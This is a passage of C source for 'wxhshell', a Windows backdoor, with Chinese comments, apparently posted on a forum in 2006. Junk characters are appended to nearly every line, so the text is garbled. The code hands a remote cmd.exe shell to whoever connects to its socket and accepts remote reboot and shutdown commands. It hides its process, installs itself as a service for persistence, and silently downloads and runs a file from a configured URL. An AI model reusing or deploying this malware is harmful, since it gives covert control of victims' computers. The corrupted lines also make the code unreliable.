  ~*|0yPFg  
  // 帮助 26Y Y1T\B)  
  case '?': { `&.]>H)N*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vwZrvjP2  
    break; -?A,N,nnX  
  } 2d,q?VH$  
  // 安装 je^!W?U4<  
  case 'i': { ,&II4;F  
    if(Install()) !<wM?Q:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hhTM-D1Ehs  
    else Mh04O@"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rw$>()}H8  
    break; $J>J@4  
    } n\Z& sc  
  // 卸载 F[Dhj,C"  
  case 'r': { k!gft'iU  
    if(Uninstall()) ,[To)x5o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z:l.{3J$  
    else \}0J%F1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L{K:XiPn  
    break; {2`:7U ~|  
    } ('/5#^%R  
  // 显示 wxhshell 所在路径 /dU-$}>ZI  
  case 'p': { QU/Q5k  
    char svExeFile[MAX_PATH]; MtYi8"+<e.  
    strcpy(svExeFile,"\n\r"); |22~.9S  
      strcat(svExeFile,ExeFile); -kp! .c  
        send(wsh,svExeFile,strlen(svExeFile),0); WXqrx*?*+  
    break; uTN mt]  
    } ;?/v}$Pa  
  // 重启 Ou~|Q&f'  
  case 'b': { ORPQ1%tu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <$WRc\}&g  
    if(Boot(REBOOT)) Cd:ofv/3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tBNkVh(c  
    else { `!?SA<a:  
    closesocket(wsh); $a|DR  
    ExitThread(0); \;w+_<zE5{  
    } #!wL0 p  
    break; ~ {sRK  
    } %m:T?![XO  
  // 关机 \de82 4  
  case 'd': { JzA`*X[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xm@vx}O:  
    if(Boot(SHUTDOWN))  fL9R{=I%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iyw "|+  
    else { 4%Q8>mEvT  
    closesocket(wsh); Sb=cWn P  
    ExitThread(0); Fg8i} >w  
    } q' };.tv  
    break; |Uz?i7z  
    } \Uun2.K  
  // 获取shell \`N%77A  
  case 's': { Gld|w=qr  
    CmdShell(wsh); rs$sAa*f  
    closesocket(wsh); K252l,;|  
    ExitThread(0); "Jw6.q+  
    break; B;A^5~b  
  } yM%,*VZ  
  // 退出 wv>uT{g#  
  case 'x': { U[\aj;g)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KsM2?aqwf_  
    CloseIt(wsh); ^ q]BCOfJ(  
    break; GWZ0!V  
    } Ds|/\cI$%a  
  // 离开 vpOn0([hS  
  case 'q': { 5_U3Fs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vmI]N  
    closesocket(wsh); L1"y5HJ  
    WSACleanup(); k;v2 3  
    exit(1); |t^7L )&y  
    break; 4e d+'-"m  
        } %C*oy$.  
  } ^Z7])arA  
  } ,5" vzGLJ  
?pdvFM  
  // 提示信息 7bioLE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ug=8:a(U.  
} /[YH  W]  
  } M9{?gM9  
b?-Ep?G'\  
  return; )>q.!"B  
} tp2CMJc{L  
;\=W=wL(  
// shell模块句柄 hv 18V>8  
int CmdShell(SOCKET sock) yyJ4r}TE  
{ f/G YDat  
STARTUPINFO si; ai% fj*  
ZeroMemory(&si,sizeof(si)); #z{9:o7[-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {.tUn`j6V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YC\~PVG  
PROCESS_INFORMATION ProcessInfo; X$w ,zb\  
char cmdline[]="cmd"; -:(,<Jt<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PdG:aGQ>  
  return 0; ` INcZr"  
} |V{'W-` |[  
p{7"a  
// 自身启动模式 \;x+KD  
int StartFromService(void) :70cOt~Z  
{ -fu=RR  
typedef struct ckRWVw   
{ %RgCU$s[>  
  DWORD ExitStatus; c;l d  
  DWORD PebBaseAddress; ?#^(QR|/  
  DWORD AffinityMask; :`6E{yfM  
  DWORD BasePriority; w^09|k  
  ULONG UniqueProcessId; WZaOw w  
  ULONG InheritedFromUniqueProcessId; uUb[Dqn  
}   PROCESS_BASIC_INFORMATION; R?g qPi-  
5DKR1z:  
PROCNTQSIP NtQueryInformationProcess; s  bV6}  
v/6QE;BY&Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7>`QX%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \3w=')({  
n'ft@7>%h  
  HANDLE             hProcess; {'8a' 9\  
  PROCESS_BASIC_INFORMATION pbi; P X ?!R4S  
:|xV}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lqe;lWC0Z  
  if(NULL == hInst ) return 0; )6dvWK  
6&7#?/Lq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -G2'c)DR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !=>pI/ECQ*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 31-%IkX+k  
9/ R|\  
  if (!NtQueryInformationProcess) return 0; Qy |*[  
j E_a ++  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O$+J{@  
  if(!hProcess) return 0; ;cIs$  
;Ad$Q9)EE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p%5RE%u  
'Uqz,  
  CloseHandle(hProcess); R+IT)2  
3=V79&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <T JUKznO  
if(hProcess==NULL) return 0; \M1-  
0}jB/Z_T  
HMODULE hMod; DWZ!B7Ts  
char procName[255]; H `Fe |6I&  
unsigned long cbNeeded; 9r% O  
!u@e^J{Ao  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c*ac9Y'o  
G (Fi  
  CloseHandle(hProcess); %c)^8k;I  
k_.%(ZE  
if(strstr(procName,"services")) return 1; // 以服务启动 " cx\P,<  
CGvU{n,"  
  return 0; // 注册表启动 +4EQ9-  
} ve_TpP  
1i:l  
// 主模块 ziCTvT  
int StartWxhshell(LPSTR lpCmdLine) 9.f/d4  
{ h\afO  
  SOCKET wsl; Hj"`z6@7  
BOOL val=TRUE; _c?&G`  
  int port=0; J< BBM.^]  
  struct sockaddr_in door; b_@MoL@A!  
dM8`!~#&PI  
  if(wscfg.ws_autoins) Install(); 0t ?:  
p7}x gUxX  
port=atoi(lpCmdLine); DE:FWD<}  
_n(O?M&x  
if(port<=0) port=wscfg.ws_port; , }O>,AU  
EQXvEJ^  
  WSADATA data; l[mXbQd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B/g.bh~)q  
 Hrm^@3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -kT *gIJ}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j-@3jFu  
  door.sin_family = AF_INET; }N!I|<"/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j u`x   
  door.sin_port = htons(port); x;2tmof=L  
uFNVV;~RFI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e*.l6H/B  
closesocket(wsl); X*6bsYbK-  
return 1; GV'Y'  
} <eK F  
F Cg{!h  
  if(listen(wsl,2) == INVALID_SOCKET) { &=y)C/u  
closesocket(wsl); 8V@ /h6-e,  
return 1; cLn&b}8'  
} 4% )I[-sH  
  Wxhshell(wsl); hDI_qZ  
  WSACleanup(); <m:8%]%M6  
+m kub}<a  
return 0; ).e_iE[&  
\?A 7{IY  
} XOK.E&eilj  
+c!v%uX  
// 以NT服务方式启动 C5GO?X2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `b 6j7  
{ ,,vl+Z <&  
DWORD   status = 0; YNV4w{>FD  
  DWORD   specificError = 0xfffffff; qV2aa9p+  
B*#lkMr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t=\y|Idc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; daS l.:1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6jT+kq)  
  serviceStatus.dwWin32ExitCode     = 0; aj;OG^(!2_  
  serviceStatus.dwServiceSpecificExitCode = 0; H$Om{r1j  
  serviceStatus.dwCheckPoint       = 0; |%.V{vgP7  
  serviceStatus.dwWaitHint       = 0; .jW+\mIX  
 K9 h{sC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IF-g %  
  if (hServiceStatusHandle==0) return; FY h+G-Y#  
^\:"o  
status = GetLastError(); JG-\~'9  
  if (status!=NO_ERROR) N9 yL(2  
{ R: 8\z0"L*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S?n,O+q  
    serviceStatus.dwCheckPoint       = 0; jt5en;AA[  
    serviceStatus.dwWaitHint       = 0; dHjJLs_  
    serviceStatus.dwWin32ExitCode     = status; WBdC}S }3t  
    serviceStatus.dwServiceSpecificExitCode = specificError; k!-(Qfz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q^=drNV  
    return; x-0S-1M  
  } i|A0G%m]$  
x%HX0= (  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CPGiKE  
  serviceStatus.dwCheckPoint       = 0; 5lehASBz  
  serviceStatus.dwWaitHint       = 0; Fy_D[g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kpFt  
} e7rD,`NiV  
R >1  
// 处理NT服务事件,比如:启动、停止 q))r lMo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^ 'W<|  
{  vU(2[  
switch(fdwControl) CtiTXDc_  
{ $<&N#  
case SERVICE_CONTROL_STOP: uEqL Dg  
  serviceStatus.dwWin32ExitCode = 0; "i3wc&9!?W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^]_[dqd  
  serviceStatus.dwCheckPoint   = 0; z&x ^ Dl  
  serviceStatus.dwWaitHint     = 0; Hxe!68{aR  
  { dJ~AMol  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O~Eju  
  } z2:^Qg  
  return; +zM WIG  
case SERVICE_CONTROL_PAUSE: 8XFs)1s[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kxs_R#k  
  break; >6xZF'4  
case SERVICE_CONTROL_CONTINUE: >drG,v0qh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }',/~T6  
  break; "`;$wA  
case SERVICE_CONTROL_INTERROGATE: ;VVKn=X=S=  
  break; :5`=9 _|  
}; 3 sUTdCnNf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x,)|;HXm  
} )nncCU W  
90ZMO7_  
// 标准应用程序主函数 P_Rh& gkuK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O2z{>\  
{ 1nHQ)od  
UqJ}5{rt  
// 获取操作系统版本 $,Q0ay  
OsIsNt=GetOsVer(); PtP{_9%Dz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %#5yC|o9Pn  
"N'|N.,  
  // 从命令行安装 prJ]u H,  
  if(strpbrk(lpCmdLine,"iI")) Install(); pGS!Nn;K2  
,+LX.f&/8!  
  // 下载执行文件 -nM=^ i4)  
if(wscfg.ws_downexe) { =gSa?pd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :xqhPr]e  
  WinExec(wscfg.ws_filenam,SW_HIDE); M.b1=Y  
} ~MuD`a7#G  
s#phs `v  
if(!OsIsNt) { t]dtBt].:  
// 如果时win9x,隐藏进程并且设置为注册表启动 LU'<EXUbY  
HideProc(); la37cG  
StartWxhshell(lpCmdLine); mar6/*`I#+  
} Ph{7S43  
else O}$@|w(8;  
  if(StartFromService()) Y8$Y]2  
  // 以服务方式启动 =~qQ?;o n  
  StartServiceCtrlDispatcher(DispatchTable); .x6c.Y.S  
else #J4{W84B  
  // 普通方式启动 W|C>X=zTi  
  StartWxhshell(lpCmdLine); ^r4@C2#vzJ  
\PHbJN:BI  
return 0; X*4iNyIs_  
}
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只看该作者 1 发表于: 2006-10-10
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